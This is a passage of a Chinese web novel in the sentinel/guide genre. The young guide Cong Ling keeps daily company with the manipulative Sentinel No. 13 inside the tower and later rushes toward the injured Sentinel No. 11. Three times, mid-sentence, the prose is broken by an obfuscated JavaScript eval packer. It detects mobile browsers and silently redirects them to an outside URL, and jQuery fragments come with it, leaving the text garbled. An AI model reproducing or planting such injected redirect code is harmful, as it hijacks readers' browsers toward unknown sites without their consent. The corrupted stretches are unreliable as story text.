丛泠发现墙面上有一个开关,原来就在她的手边,按下开关,头顶的一盏灯亮了,洒下暖黄色的灯光。 丛泠又看自己的脚下,原来那不是海绵,而是柔软得过分的地毯,以及几个堆叠在一起的棉花抱枕。 丛泠的神色有些古怪,这个“疏导室”的氛围实在是和她想象中很不一样。 这里太过温馨,太过柔和,还有一种奇怪的熟悉感,以至于,丛泠踏入房间后,有那么一瞬间忘记了自己的本来目的。 虽然这么说不合适,但这个陌生的房间,让丛泠感受到一种久违的温暖,这里明明是在塔台内部,本该是她最警惕、最戒备的地方,但此时此刻,竟然带给她一种“家”的感觉。 丛泠半是疑惑半是期待地往前走,直到快要走到窗边,她才发现角落里的沙发里坐着一个人。 她脚步一顿,视线飞快锁定在他身上。 那是一个身形高大的青年男性,侧躺在沙发椅背,露出半个侧脸,暖黄的灯光洒在他的鼻梁、脖颈,给他的皮肤镀上了一层柔和的光。 他闭着眼睛,呼吸声很轻,身体微微蜷缩,以一种毫无防备的无辜姿态,躺在这里。 是第十三号哨兵。 丛泠更加迷茫了,这是什么情况?他是睡着了吗? 那么现在她到底应该做什么? 不是说第十三号哨兵受伤了,并且受伤很严重,但是他具体是伤在哪里?更何况,丛泠根本没有接受过相关的训练,她是一头雾水,束手无策。 丛泠在原地站了一会儿,发现对方还是毫无动静,她选择在旁边的另一张沙发坐下了。 沙发旁有个半人高的小书架,丛泠无事可做,随手抽了一本书出来,翻了两页才发现,那是一本插画集,收录的都是一些童话风格的水彩画。 丛泠仔细地看过一两张,脸上浮现出疑惑,然后越翻越快,几乎把一整本书翻完,她迟疑地念出一个名字,“山谷的……” 丛泠合上书,看清封面上的名字,《山谷的风声》。 她终于知道内心的古怪从何而来了,这本书,她曾经也有过一本,甚至是她从前很喜欢的一本书,这个小小的书架,她从前的房间里也有一个。 再看书架上的其他书,都是她曾经翻阅过,留有印象的。 这样的地毯、散落的抱枕,这样的灯光,这样柔软温馨的房间,分明跟她记忆里儿时的家一模一样。 那是很久很久之前了,她的记忆已经模糊,却又被这里强烈的熟悉感给唤醒了。 丛泠有些困惑地坐下,怎么会有这种事? 太过匪夷所思,以至于她怀疑是自己弄错了,这可能是她过度追忆往事而造成的一种错觉。 她很茫然,但此时此刻,并没有谁能帮她判断。毕竟是很私人的生活回忆,除了她,还会有谁知道呢? 丛泠握着那本书,松懈了力气,倒在柔软的沙发靠枕上。 耳边有些窸窸窣窣的动静。 【你还好吗?】 丛泠悚然一惊,扭过头,正好对上一双沉静的眼睛。 不知不觉间,第十三号哨兵似乎往这边移动了一点,两人之间离得更近。 很近,却又保持在一个不会让人感到冒犯的临界值,他一直看着她的眼睛,专注得令人紧张,但语气却很温和,他说:“我一直在等你。” 丛泠一向是很不喜欢和陌生人过多接触的,下意识地就会抗拒、躲避,但是,这个时候,她脑子里的念头却和这完全无关。 丛泠脱口而出,“原来你会说话。” 一直以来,她都以为人一旦成为哨兵,就会自动成为哑巴。 他们总是那样沉默、冷淡,用眼神交流,从来不会主动说一个字。 对面的哨兵笑了,丛泠第一次在清晰的灯光下,看清楚他的正脸。 这实在是一张很年轻、很英俊的面孔,五官很锐利,神情却非常温和,组合起来,不像是真实存在的人,更像是丛泠小时候很喜欢的一个童话故事里的角色。 丛泠不喜欢吵闹的人,喜欢安静的人,而眼前这个人是丛泠有生以来见过的,最安静的人。 又过了一会儿,丛泠再一次记起本来的目的。 她放下手里的东西,迟疑地问:“你受伤了?我需要怎么做?” 第十三号哨兵说:“不,我没有受伤,那是我骗他们的。” 的确,从他的姿态与语气看来,完全是轻松惬意的,看不出身体有哪里不适。 可是……? 看见丛泠眼里的疑惑,他才又解释了一句,“我只是想早点见到你。” 好吧,丛泠无法应对这种话,她不知道说什么,只能说:“好的。” 第十三号哨兵点了点头,像是很满意似的,说道:“再陪我待一会儿吧。” 说完,他又闭上了眼睛,重新垂下头,像一棵无比安静无害的植物。 丛泠感觉这个夜晚的所有经历都莫名其妙,但这个地方,她确实又很喜欢。 她紧绷的神经慢慢松懈下来,不知不觉间,竟然也慢慢眼皮落下,睡了过去。 丛泠手里的书掉落,被另一双手接住,然后轻巧地放回了原地。 第十三号哨兵依然坐在原来的位置上,他始终很安静,只是视线却不像刚才那样温和而平静。 他的眼神里闪着雀跃的光,很兴奋,又激动,像是一个行走在无边沙漠的人,终于发现了世界上仅剩的一捧清泉。 * 丛泠再次醒来,是在另一个陌生的房间。 这个房间的天花板是浅灰色的,当然,依旧是一尘不染。 仿佛昨日重现,她第一眼看到的人,又是珍妮。 珍妮见她醒了,立刻起身,绕过身后一个作为室内格挡的博古架,敲了敲藏在墙面的另一扇门,态度恭谨道:“罗拉女士,她醒了。” 在等待这位“罗拉女士”从房间里走出的时间里,丛泠逐渐回忆起睡前发生的事。 哨兵、疏导室、令人感到放松的房间布局……再然后就没有了,看上去这个疏导室更像是一间心理诊疗室,只不过,得到治愈的怎么好像是自己? 思考间,那位“罗拉女士”已经站在了丛泠面前。 这位女士带给丛泠的感觉,像是一个温和版的克莱尔,衣着和姿态都相似,只是脸上挂起了一种客气的微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322301|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 看她举手投足间的姿态,以及珍妮的恭顺表现,她应该就是珍妮的上级了。 果然,罗拉简单介绍了自己的职级,她是塔台第二十三层所有员工的直系领导,由于种种曲折经过,她也接管了克莱尔的部分工作,以后也会负责对丛泠的训练以及其他。 罗拉先是问候了丛泠的身体状况,吩咐珍妮去外面转交某个文件,等到这片空间只剩下她们两个人,她才终于在丛泠面前坐下了。 罗拉慢条斯理喝了一杯水,放下杯子,闲聊一般地问丛泠:“你对第十三号哨兵的印象如何?” 这个问题不在丛泠的预想之内,她怔了下,然后回答:“没什么印象。” 罗拉笑着摇摇头,说道:“或许你不知道,其实你们有很多相似的地方。” “什么?” “他很喜欢撒谎,你也一样。” 丛泠皱了眉,很警惕地看着她。 罗拉看着她,评判道:“你经常无意识地撒谎,可能是缺乏安全感,习惯性地模糊表达,或者心口不一,总之是本能地想要伪装。” 丛泠没有反驳,当然也没有承认,她只是冷眼看着对面的人,想看看她接下来还要说什么。 “至于第十三号哨兵,他是有意为之,说些谎话又不费力气,毫无成本,只要能达到目的,何乐而不为呢?” 丛泠并不接话,罗拉看了她一眼,姿态依旧很闲适,继续说道:“就拿昨晚的行动来说,A区的一栋商业大楼突发火灾,这种程度的事件,根本不需要哨兵参与救援,但第十三号哨兵声称火灾地点有一位关键嫌疑犯,对火场人员造成重大威胁,他必须要去。” “再然后,他故意受伤,故意让自己精神失控,就是为了得到向导治疗。” 丛泠忍不住打断了她,“可是,他告诉我他没有受伤,他看上去也没有任何异常。” 罗拉也皱眉了,她说:“不,从现场情况来看,他确实出现了失控的迹象……” 说了一半,她摇了摇头,“谈论这些没多大意义,他说谎太多,同一件事也有很多种不同的说辞,很多时候都无法辨别,更何况,他受伤与否其实也不重要,以哨兵的体质,躯体上的任何伤痛都不值一提。” 罗拉盯着丛泠,说道:“我唯一需要确认的是,昨晚在疏导室,他的状态看上去很正常?” 丛泠对罗拉的一些言论感到很不适,但她也没立场说些什么,她点了头。 “这就足够了。”罗拉微笑道:“我们只需要结果,不在意过程。看来你的存在对他来说至关重要,只要你在,就可以让他平静下来。” “……所以呢?”丛泠的语气有点生硬,“你们的意思是,让我一直和他待在一起,始终绑定在一起?这就是我被带入塔台的全部意义?” 说到最后,丛泠的声音变得有些颤抖,很多时候,她明明已经积攒了很多勇气,但如果要拿出来和人抗衡,她还是会觉得难受。 罗拉脸上的微笑始终没有变过,她很耐心地等待丛泠说完,等她宣泄掉全部的情绪,然后反驳道:“你误会了。” “我们都知道,传统的哨向绑定是对向导的一种剥削,我们不会这样做,我们会最大限度尊重你的意愿。” “只是,如你所见,第十三号哨兵是个很难控制的人,他性格恶劣,不愿意配合,习惯性地戏耍他人,偏偏又能力拔群,危险性很高,所以,一直以来,我们都会把他锁在休眠仓、冷冻室,不会给他太多活动的空间。” 罗拉打量着丛泠的神色,徐徐说道:“我们原本以为,你可以平稳他的情绪,淡化他的危险性,对他有一定程度的约束,如果是这样,他就不必受到那么多的限制,可以过得更轻松一点。” 丛泠脑子里闪回过几张画面,那是她第一次来到塔台,第一次见到被重重困锁住的第十三号哨兵,那一张苍白的脸。 “当然了,这也不是必须的,我们完全尊重你的意愿。” 罗拉说道:“只是,我本来以为,你对他的印象不错……如果你能配合,日常多和他相处一会儿,仅此而已,我们就可以放轻对他的管控,让他好受一点。” “选择权完全在你,你愿意这样做吗?” 罗拉微笑着。 12. 第 12 章 丛泠今天的早餐仍然是三明治。 唯一值得安慰的是,这个三明治是新鲜出炉,而非冷冻复烤,比前几天的口感要好很多,也算是改善伙食了。 这是丛泠第一次坐在塔台的公共食堂里吃饭,为了更快适应塔台的生活节奏,每天的三餐都跟随大部队是最方便的选择。 早餐时间结束,丛泠身边的人陆陆续续散开,去往训练室所在的楼层。 丛泠却留到了最后,她要在这里等着罗拉,再由罗拉带她去三十层以上的区域。 丛泠还是住在第二十三层的员工宿舍,珍妮房间的隔壁。 住在这一层的,大多是需要执行外务的工作人员,他们算是部队里的小军官,在外执行任务的时候,负责指挥队伍中除哨兵、向导之外的其他普通士兵。 当然,也有像珍妮这样,个人能力比较突出,进而得到重用,刚入职就成为了队伍中的机动人员,会灵活加入各个分队,得到更多的工作机会。 因为要执行外务,这一楼层员工的日常训练都是一些实操性很强的东西,比如体能训练、作战技巧之类的。 丛泠需要接受的训练则不同。 罗拉告诉丛泠,她目前要做的事只有两件,第一,尽快熟悉塔台环境。第二,每天抽时间去探视第十三号哨兵。 探视,罗拉用了这样一个词,丛泠感觉这个形容很奇怪,仿佛对方是个什么囚犯,不能平等地和其他人接触,只能被动地等待别人的接近。 在丛泠看来,第十三号哨兵是一个过于安静,以至于存在感薄弱的人。 但在其他人眼中似乎不是这样,他们对他很是防备,反正按丛泠的标准来看,实在是过度反应,小题大做。 总之,丛泠跟随罗拉的脚步,刷了她的权限卡,通过了格挡在第三十层往上的一道门禁。 之前珍妮提到过,三十层以上是哨兵与向导们的区域,其余人员都没有权限靠近。 丛泠目前也没有独自进入三十层以上的资格,只能被上级带进去。 电梯停在了第三十五层,眼前是一条灰色狭长的走廊,光线很足,但莫名给人一种很阴沉的感觉。 丛泠大概找出这栋建筑的装潢规律了,越是办公意味浓厚的地方,墙面油漆的颜色就更暗沉,仿佛这样做就能把氛围调得严肃起来。 而看眼前这条走廊的粉刷颜色,这里应该是严肃得不能再严肃了。 罗拉的步伐又快又急,飞快走到尽头,打开一扇门,示意丛泠往前走,而她自己则退到了后面,一个能完全藏住身形的地方。 丛泠独自一人走入这个陌生的空间,撩开一道灰色的门帘,在昏暗中摸索几步,又跨过了一道门槛。 罗拉这样谨慎,自然让人以为里面会有可怕的场景,丛泠也做好了相应的心理准备。 丛泠猜想藏在门后的是某种常人无法想象的训练器材,没想到,刚迈过门槛,视野骤然一亮,仿佛一下从地下室钻出,重见天日。 原来这个房间是在建筑最外一层,本该是墙的地方全部用玻璃代替,外部的日光直接倾泻下来,把这里照得无比灿烂。 丛泠站在原地,适应了一会儿光线才往前走,她站在玻璃窗前,视野很高很远,可以看见远处的城市和原野。 此外,这里并没有一点与工作有关的东西,比起训练室,这里更像是一个假日气息浓厚的咖啡厅。 玻璃墙是一个弧面,中间有柱子作为隔断,丛泠从一面墙绕到另一面,看见靠窗的一个座位上坐了一个人。 第十三号哨兵,他已经到了。 察觉到丛泠的视线,他回过头来,对丛泠微笑,示意她坐到自己对面的一张沙发座椅上。 “早上好。”他看上去心情很好。 丛泠被窗外的日光刺得有些睁不开眼,稍微侧了下脸,再回过头,发现窗边已经降下一道竹帘,挡住了大半的光线。 丛泠在第十三号哨兵的对面坐下,这种休闲的氛围让她意外,之前的心理准备也不作数了,一时间竟然有点无措——她原本以为她需要辅助哨兵做些战斗训练之类的东西。 丛泠其实也不擅长和人聊天,无奈对面也是个太沉默的人,她只好随便说了一句,“今天天气很不错。” 第十三号哨兵动作一顿,像是运行程序忽然卡了一下,他说:“啊,原来你喜欢晴天。” 丛泠却摇头,“不,我不喜欢晴天,我更喜欢阴天,只是很久没见到外面的阳光,觉得很难得。” 第十三号哨兵露出若有所思的神情,他说:“好,我记住了。” 对话又中断了,丛泠低下头,拨弄杯子里的银匙,她这时才发现这是什么饮料,“……热巧克力。” “是的,”第十三号哨兵忽然往前移了一大段距离,很殷切地看着她,“你喜欢吗?” 丛泠有些愕然地抬头,本能地后移了一段距离,然后才回答,“一般吧。” 丛泠说:“味道太甜了,我小时候比较喜欢,后来可能是口味变了,就不喜欢了。” 只是闲谈而已,第十三号哨兵脸上却露出了明显的失落,还有一些难以置信,仿佛这是一道本该十拿九稳的试题,却被他填错了答案。 热巧克力……丛泠一下明白了,“原来那个人是你。” “什么?” 丛泠笑了笑,她又想起了第一次来到塔台,做完一系列测试后,等在空房间里,捕捉的那段残存的影像。 冰冷房间里残留的热巧克力的味道,有点违和,但放在眼前这个人身上,好像也不是那么难理解。 丛泠在心里这么想了想,并没有说出口,但第十三号哨兵的脸色却有了变化,他点头道:“原来是那一天。” 丛泠一惊,她警惕地看向对面。 第十三号哨兵挑了下眉,露出一个笑容,他说:“我猜的。” 丛泠莫名有点恼怒,她想起罗拉对第十三号哨兵的评价,一时也分不清这是谎话还是玩笑,她不再看他,只是低下头,搅拌杯子里的热巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322302|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克力。 时间过得很快,丛泠感觉自己只是看着窗外的风景,发了一会儿呆,就听见门廊的位置传来声音。 罗拉谨慎地探出一个肩膀,提醒道:“时间到了。” 罗拉只往这里看了一眼,并且很快收回了视线,但她脸上还是有一闪而过的惊讶。 显然,眼前这……温馨?寻常?平和?不知如何描述的一幕,是她没有料到的。 丛泠也有些惊讶,三十分钟竟然这么快就结束了。 之前罗拉告诉她,每天需要和第十三号哨兵相处半小时的时候,她是觉得时间漫长,有些为难的。 丛泠看了一眼对面的第十三号哨兵,发现对方流露出明显的不舍,她就有了点犹豫。 丛泠自认为不是一个心软的人,她不像姐姐那样仁慈善良,她是一个足够冷漠,足够理智的人,但是,有些时候……她只是有点不忍心。 为什么会有这样孤独的人呢,他看上去一个同伴都没有。 丛泠对罗拉说:“如果之后我没有别的训练,我可以在这里多待一会儿。” 罗拉看了她一眼,视野范围内,也不可避免地和第十三号哨兵有了视线交错,罗拉强撑着脸上的表情,硬着头皮拒绝了。 罗拉解释道:“事实上,是第十三号哨兵的自由活动时间结束了。” 是这样……丛泠有些讪讪地移开视线,她感觉自己又一次想当然了,她竟然认为自己的时间安排是非常重要的,但其实并不是。 丛泠说:“那好吧。” 丛泠说完这句话,也准备起身离开,却发现第十三号哨兵并没有动,而等在门口的罗拉也没有动,反而身体紧缩,做出了一种畏惧的姿态。 房间里很安静,只能听见几人的呼吸声,有种无形的压迫感,迅速在这片空间蔓延。 过了一会儿,罗拉战战兢兢地开口,“我接到的指令是这样的,如果您不同意,我会向上级反应,申请改变时间安排,但是,今天……希望您能配合。” 这样的口吻语气,这段话显然不是对丛泠说的。 罗拉先是看向了第十三号哨兵,视线刚挪过去,像是被针刺了一下,立刻移开,又把目光投向了丛泠,这一次是求助的目光。 丛泠一怔,还没来得及做出反应,眼前忽然被挡住了。 第十三号哨兵站起来,往门口的方向走去,他的身影把丛泠彻底挡住,也完全阻隔了罗拉的视线。 他扫了一眼罗拉,眼神十分冷漠,声音却非常温和,他说:“不用了。” “走吧。” 丛泠看不到他的神情,只看见他落寞的背影,听到他温和平静,又带着一丝无奈的声音。 于是,丛泠也感到了一点失落,她在这个房间里多留了一会儿。 窗外的阳光把这一圈座椅都烘烤得无比温暖,但房间里一个人也没有,又显得冷清。 丛泠犹豫一会儿,端起杯子,喝了一口已经冷掉的热巧克力,真是久违的甜腻的味道。 13. 第 13 章 小玉不见了。 丛泠并没有立刻察觉到这一点。 她回到宿舍后,先是翻看了日历,整理了衣橱,在收拾书桌的时候才猛然意识到,房间里实在太安静了。 她常常会忘记小玉已经离开玛德琳这个大家长,来到她身边,交由她全权负责。 丛泠立刻丢下手里的东西,冲出宿舍,顺着门窗指向的方向,各个角落都搜寻了一遍,但一无所获。 机械小狗有别于真正的生物,它不会留下气味或者足迹,行动速度快,又悄无声息。 丛泠把本楼层所有能找的地方都找了一圈,她猜测着小玉的心思,打算再往下找几层,如果还是找不到,只能向上级求助,试试看调用监控了。 如果不是实在着急,她绝对不会向塔台的人求助。 当然了,小玉的到来本身就是塔台的授意,他们默许它待在丛泠的身边,既然这样,应该不用担心是塔台的人故意伤害小玉。 丛泠只是觉得,自己也就算了,她不希望让小玉也过多暴露在塔台的监视之下。 …… 上下五层楼都找过了,还是没有小玉的踪迹,丛泠撑着扶栏吹了会儿风,没犹豫太久,决定向罗拉求助。 毕竟小玉的安全才是最重要的。 丛泠转身往宿舍的方向走,每间宿舍都配有一部内线通讯器,可以直接申请联系这一楼层的上级领导。 没想到,刚走到这一层的拐角处,她迎面遇上了珍妮。 再看珍妮怀中,一只银光闪闪的小狗,不是小玉又是谁? “小玉!”丛泠真的生气了。 小玉耳朵耷拉着,假装昏迷,但又没忍住偷偷瞟了丛泠一眼,它有点害怕被责怪,但犹犹豫豫地,还是跳进了丛泠的怀里。 珍妮站在一旁,两只胳膊环抱着,耸了耸肩,“在路边捡到的,给你送回来了。” 丛泠顾不上多说什么,抱着小玉上下左右地检查。 珍妮只好自己解释了一通事件经过,“你是不是出门太急,忘记锁门了?怎么会让它偷偷跑出去呢?” “你猜我在哪里碰见它的?第三十层的楼道里!” “太危险了,那个角落有很多射线屏蔽器,虽然没人看管,但只要进入范围就会自动触发,幸好它没有踩进去,要不然它的智能装置可要失灵了。” 丛泠把小玉拎起来揉了一顿,发现确实没有哪里有磕碰,这才放下心来,站起来对珍妮道谢,“真的很谢谢你。” 珍妮无所谓地摆手,“没关系啊,顺手的事,谁让它这么可爱呢。” “不过,”珍妮看了一眼小玉,脸上也有些担忧,“但愿它没有被今天轮值的哨兵看到吧,如果那些人不喜欢机械宠物就糟糕了。” 丛泠一怔,“这是什么意思?” 珍妮纠结了一会儿,还是说了,“塔台并不禁止饲养机械宠物,但我听说,有些哨兵或者是向导很讨厌这一类宠物形态的东西,如果影响到他们的心情,那就……那就很麻烦了。” 珍妮又看一眼小玉,没有把“直接销毁”这个结果说出来,只是连比带划,暗示丛泠。 丛泠抱紧了小玉,她问:“怎么会被哨兵看到呢?” “我也觉得很费解呀,”珍妮回想着之前的场景,“哨岗那个位置对于小狗有什么吸引力?它偷偷溜出去,不去找吃的,找玩的,怎么偏偏跑到了哨岗附近?” 丛泠沉默了会儿,说:“它可能是迷路了。” 珍妮思索着点头,觉得这个分析很有道理。 丛泠抱着小玉回到宿舍,重新锁上了门。 她严肃地告诫小玉,不许乱跑,这里很危险。 丛泠不想吓到它,只好用了另一种借口:“你的零件都很珍贵,如果有损坏,是很难替换的。” 小玉摇着尾巴,用两颗无辜的宝石眼睛盯着她。 丛泠抱着小玉,有些无奈,“我知道,你想去找她玩,但是……” “下次不要再偷偷跑出去了。”丛泠把下巴撑在小玉的头上,“答应我好吗?” 小玉不能回答,丛泠就捧着小玉的脑袋,手动帮它点了点头。 * 又是新的一天,丛泠轻车熟路地来到了第三十五层。 丛泠对于每天的日常任务已经是接受良好,毕竟这任务很简单,如果这是一份私人陪护工作,第十三号哨兵一定是最宽容的雇主。 很多时候,丛泠什么也不必做,仅仅只是和他待在同一片空间,他就会露出心满意足的神色。 虽然不明白为什么,但是,好吧。 丛泠推开门,脚下一顿,她发现今天的活动可能稍显不同。 这次的房间不是咖啡厅,而是一个游戏厅,天花板上悬挂着各色彩灯,靠墙的位置有各类电子游戏装置。 乍一看,很多色彩膨胀开来,光线流动,显得这片空间十分欢快热闹。 丛泠的视线投向角落,她看见了第十三号哨兵的背影。 他穿着深色的作训服,头上戴着护目镜,双手举着一把无杀伤力的特制枪,对准屏幕上的移动靶子,正在玩一个射击游戏。 他不再是随意地坐在椅子上,或者靠在沙发上,而是直直站着,身形流畅挺拔,显得凛然、冷峻。 当他不再刻意展露脆弱的姿态,周身的冷感就立刻发散,变成了强烈的距离感。 丛泠忍不住笑了,他的整体姿态当然是不经意的,但正是因为这样,才显得刻意。 即使是她,也不会在房间里多出一个人的时候毫无察觉,更何况是训练有素的现役哨兵。 他一定是立刻察觉到了丛泠的靠近,却仍然一丝不苟,全神贯注,表现得对周围变化一无所觉,只是把脊背挺得更直了一点。 丛泠觉得这很好玩,她小时候总是盼望有一个有趣的玩伴,虽然迟来了很多年,但第十三号哨兵,真是一个很有意思的玩伴。 丛泠走到第十三号哨兵的身边,没有开口叫他,而是按照他“期盼”的那样,没有理会他,自顾自地走到了另一台机器前,也戴上护目镜,开始了游戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322303|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种电子游戏,各种音效很吵闹,画面也做得粗糙,但是奖励机制很完善,诱使人不断继续玩下去,丛泠原本只是做做样子,没想到在获得几个连胜之后,也有点舍不得停下了。 “……不能这样”一道声音从后方传来,与此同时,一双手按住了丛泠的手腕,把枪托的位置从虎口往上挪了一点。 丛泠看过去,微微仰头,正对上第十三号哨兵的眼睛,他的眼睛瞳色很深,让人误以为是纯黑,但其实不是,凑近了去看,能看到一点深蓝色的阴影。 这双冷静无波的眼睛忽然开始闪烁,他的睫毛颤了颤,垂下视线,然后才说出了后半句话,“像这样持枪,手腕受力会更均匀。” 说话时,不可避免地,他的呼吸扑得很近,拂过皮肤,带来一阵微妙的刺痒。 丛泠忽然挣开了他,她也低下了头,她说:“等一下,等一下……” 她的声音变得很小,她自以为响亮,事实上,第十三号不得不低下头,凑近了去听。 两人之间的距离更近了。 丛泠迫不及待想从这个被环抱的空间冲出去,她想打破这种怪异的氛围,她的心跳快得不正常,耳朵里有血液奔流的声音,她不明白这算什么,只是本能地觉得不妙。 然而,第十三号哨兵一动不动,肩膀挡住她的去路,一只手撑在她的身后,把她牢牢地圈在了这片狭小的空间。 身后的屏幕还在闪烁,一个个移动靶被错过,最后跳出了“游戏失败”的提示。 丛泠往前推了一把,掌心下,隔着一层衣服,肌肤的温度依然很高。 “你……”丛泠鼓起勇气,抬起眼睛,打算直视对方。 然而,她的视线刚一挪过去,对方的视线就飞快溜走了,似乎比起她,对方才是那个更不敢对视的人。 丛泠一面窘迫,一面又觉得好笑,她动了动唇,还没开口,第十三号哨兵已经先一步后退了,他转过身,让出一条通道。 空气流通,丛泠又找回了自己的声音,她笑道:“怎么会——” 话音未落,地面忽然传来猛烈震动,丛泠还没来得及惊慌,腰间一紧,已经被死死按在了第十三号哨兵的怀中。 地面的震动还在继续,头顶灯光闪烁,忽然一暗,似乎是电路损坏了。 与此同时,房间的门被人从外面打开,那是一个满脸惊慌的工作人员,他锁定了哨兵的方向,大声求救,“A级警报!第十一号哨兵忽然失控!请求支援——” 第十三号哨兵还没做出动作,怀中忽然一空,丛泠不知怎么的,反应异常强烈,她推开身边的一切阻碍,撞开挡在门口的士兵,以一种常人无法企及的速度,飞快冲出了房间。 第十三号哨兵愣在原地,他不可思议地看着自己空空落落的双手,脸上的神情一点一点冷下去。 他在原地站了一会儿,试图平息忽然席卷而来的焦躁与愤怒。 最终,在士兵焦急的眼神中,第十三号哨兵踢开脚边的那把游戏用枪,不紧不慢地走了出去。 14. 第 14 章 场面很快得到了控制。 事实上,相似的事情常有发生,某某哨兵失控了,某某哨兵精神崩溃了,某某哨兵出现狂化前兆,对周围所有生物无差别攻击…… 如果放在外界,这是很严重的事故,但如果放在塔台内部,这类事件,实在太常见了。 既然常见,那么就有完备的应对方案,每位哨兵身上都安装了精神力检测器,一旦超过水平值就会触发警报,立刻就有应急队伍前去处理。 在这种情况下,完全不需要临时再去向一位无关的哨兵求救,更何况那是在哨兵的私人时间,不允许任何人打扰。 那个突然跑来求救的人,不知道是哪个部门的员工,大概是吓得魂不守舍,太害怕了,才慌不择路,跑到离自己最近的哨兵这里寻求安全感。 第十三号哨兵的心情非常糟糕,他感觉十分恼怒,不仅仅是对那个没有头脑的职员,更多的,还是对丛泠。 他不想对她抱有任何的负面情绪,他也极力克制自己的愤怒,只是……她本该把全部心神放在自己身上……她怎么能,怎么可以! 第十三号哨兵故意放慢了脚步,不想做出任何积极的举措,他不介意让场面变得更混乱,让始作俑者变得更倒霉。 不过,事与愿违,等他来到事故现场,第十一号哨兵已经重新平静了下来。 * 丛泠听见呼呼的风声,眼前的场景飞快掠过,她听见许多人高声呼喊的声音,还有物体坍塌、墙体爆破的声音,她一直奔跑,一直奔跑,直到撞上某个人,被用力拖住了身体。 眼前的人皱眉看着她,始终挂在脸上的微笑也没有了,变得冷淡,那是罗拉。 罗拉命令两个士兵拦住她,质问道:“现在是什么时间?你为什么会出现在这里?” 丛泠根本没意识到她在对自己说话,只是用力支起身体,使劲往前张望。 她看见远处有一群人,士兵和医护人员围在一起,正中间的位置被彻底挡住,什么也看不到。 罗拉又问了一遍,丛泠忽然拉住她的胳膊,急切道:“第十一号哨兵在哪里?” 罗拉把自己的胳膊从丛泠手中用力扯了出来,她有点不耐烦了,她说:“这和你有什么关系?” 罗拉视线往后一瞥,发现不知何时,第十三号哨兵竟然也离开那个被框定好的活动范围,到了这里。 罗拉飞快收回视线,态度变得和缓了很多,她说:“哨兵精神失控,是常见的事,你不要担心,不会伤害到你。” 丛泠胡乱摇头,她说:“不,不,我想知道第十一号哨兵本人的情况,她还好吗?” 罗拉诧异地看她一眼,“第十一号哨兵?她的状态如何,和你更没有关系了,她身边有很多专业的医疗人员,还有她的向导。” 丛泠一愣,“她……她的向导?” 说话间,远处拥挤的人群流动了起来,撤退了一批武装士兵,补上了一群医疗人员,人影交错间,中间的空地露了出来。 丛泠一眼看见了第十一号哨兵的身影,但只有小半个身影,她蜷缩着侧躺在地面,而在她身前,一个男性身影覆盖其上,以一种保护者的姿态紧紧环抱着她。 第十一号哨兵双眼紧闭,发丝凌乱,衣服上沾染了不知从何而来的泥灰和血迹,狼狈极了,但即使是这样,她脸上漆黑的护具还是没有取下,始终遮挡住她的大半张脸。 丛泠无法靠近,只能一错不错地盯着那一小片空间,第十一号哨兵依然昏迷着,毫无知觉。 不过,她身边的那个向导回头了,那是一个陌生的青年男性,他眼神锐利,警惕地看了丛泠一眼。 人群又合拢了,这下丛泠就连背影都看不见了。 罗拉看了一眼在远处沉默站着的第十三号哨兵,低声催促丛泠,“回你该去的地方。” 丛泠置若罔闻,还是站在原地,执着地盯着那个已经被完全挡住的背影。 反倒是远处的第十三号哨兵动了,他警告性的看了罗拉一眼,视线在丛泠身上一停,转身离开。 * 对于第十一号哨兵身上究竟发生了什么,第十三号哨兵毫不关心。 他们是名义上的同事,身份地位一致,就连正式启用的时间也相差无几——哨兵的编号是按照启用时间拟订的,第十一号先启用,第十三号后启用,这中间大概只隔了几个月。 这意味着他们有漫长的一段时间都是同时待在塔台。 塔台建筑占据面积很广,留给他们的活动范围却有限,即使故意想避开,也总有碰上的时候,更何况,训练场上也会常常对上。 同属一个阵营的哨兵与哨兵之间,本该很熟悉才对。 但这漫长的十年里,第十三号从来没有和第十一号有过任何训练之外的交流。 事实上,如无必要,第十三号哨兵从不和任何人交流,即使放在性格冷傲的哨兵群体中,他也是异类中的异类。 他不和任何人主动说话,拒绝任何人的接近,和所有人都是陌生,自然而然地,他不在乎身边任何一个人的死活。 因此,他对第十一号忽然攻击他人这件事的行为动机并不关心——其他人或许看不出来,但同为哨兵,他知道什么是真正的精神失控,什么是伪装成失控的暴力行为。 而今天的混乱场面,明显是属于后者。 第十一号哨兵的攻击行为,一开始发生在室内,然后转移到室外,有个很明显的移动轨迹,也有很明确的攻击目标。 她的攻击目标……无论是谁,都是塔台内部人员,一向纪律严明的第十一号为什么会忽然做出这种如同背叛的行为? 这些内情究竟如何,第十三号哨兵也并不关心,他之所以还在思索这件事,只是因为丛泠的种种异常表现。 